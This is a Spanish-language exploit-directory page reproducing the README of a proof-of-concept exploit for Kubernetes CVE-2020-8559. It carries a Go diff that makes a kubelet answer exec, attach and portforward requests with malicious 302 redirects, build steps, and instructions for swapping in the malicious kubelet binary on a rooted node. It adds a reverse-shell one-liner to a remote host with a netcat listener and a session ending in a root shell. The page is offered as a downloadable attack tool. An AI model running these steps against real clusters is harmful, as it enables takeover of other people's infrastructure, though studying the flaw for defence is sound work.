Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-8559 — Este es un exploit PoC para la vulnerabilidad CVE-2020-8559 de Kubernetes. | Kitploit
Herramientas/GitHubGitHub/tdwyer/cve-2020-8559
Escalada de PrivilegiosSeguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónSeguridad en la Nube
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

Este es un exploit PoC para la vulnerabilidad CVE-2020-8559 de Kubernetes.

Ver Repositorio
5414hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Kubernetes CVE-2020-8559 Exploit de Prueba de Concepto PoC

Esto es solo para fines de demostración. Solo para usar en sistemas sobre los que estás autorizado a realizar acciones administrativas y en los que estás autorizado a explotar CVE-2020-8559

Este es un PoC para CVE-2020-8559. Esta vulnerabilidad permite a un atacante que ha obtenido root en un Nodo ejecutar comandos en cualquier otro Contenedor del clúster, lo que permite al atacante tomar el control del Nodo Maestro de Kubernetes.

Esta vulnerabilidad se debe a que el Servidor de API de Kubernetes y el comando kubectl seguirán las Redirecciones HTTP, combinado con el hecho de que la API de Kubernetes simplemente coloca todos los componentes de una solicitud de API en la URL, es decir, el nombre del Nodo, el nombre del Pod, el nombre del Contenedor e incluso el Comando. Por lo tanto, si el proceso Kubelet responde a /exec, /attach, /portforward o cualquier acción resource: proxy con una Redirección HTTP 302 con una cabecera Location que indique ejecutar un comando diferente en un Nodo diferente en un Contenedor diferente, el Servidor de API de Kubernetes o el comando kubectl realizará gustosamente una nueva solicitud para lo que sea que esté en la cabecera Location.

Repo de Kubernetes con mi código PoC

Puedes descargar mi versión bifurcada de Kubernetes y cambiar a mi rama para compilar el binario kubelet del exploit.
Esta rama está basada en el tag v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Configurar

Este PoC simplemente enviará una Redirección HTTP 302 con una cabecera Location hardcodeada, por lo que necesitarás editar kubernetes/pkg/kubelet/server/server.go y actualizar host, namespace, pod, container y command

ProTip: Lista todos los Pods del clúster. Luego, configúralo para ejecutar comandos en un Pod que se ejecute en el Nodo Maestro de Kubernetes con el fin de iniciar una shell inversa de vuelta hacia ti para tomar el control del clúster

Compilar

Después de configurar el ataque, compila un binario kubelet malicioso

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Ataque

  1. Obtén root en un Nodo
  2. Copia el binario kubelet malicioso al Nodo
  3. Detén el proceso kubelet y sobrescribe el binario con el binario malicioso
    Busca el PID del proceso kubelet
    ps aux |grep kubelet
    Mata el proceso kubelet y copia el binario malicioso en su lugar
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Mata el proceso kubelet de nuevo para que se reinicie con el binario malicioso
    Busca el PID del proceso kubelet
    ps aux |grep kubelet
    Mata el proceso kubelet
    sudo kill $PID
  5. Si está configurado para atacar a un administrador que use el comando kubectl en su estación de trabajo local, este comando debería devolver el hostname del Contenedor Víctima en lugar del contenedor en el que debería haberse ejecutado
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

También puedes iniciar una shell inversa de vuelta hacia ti desde cualquier Contenedor con

  1. Inicia netcat escuchando en tu estación de trabajo
    nc -lv 4444
  2. Usa este comando en su lugar, sin embargo necesitarás codificarlo. Actualizaré la forma exacta después de que lo resuelva.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Éxito :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
Descargar herramienta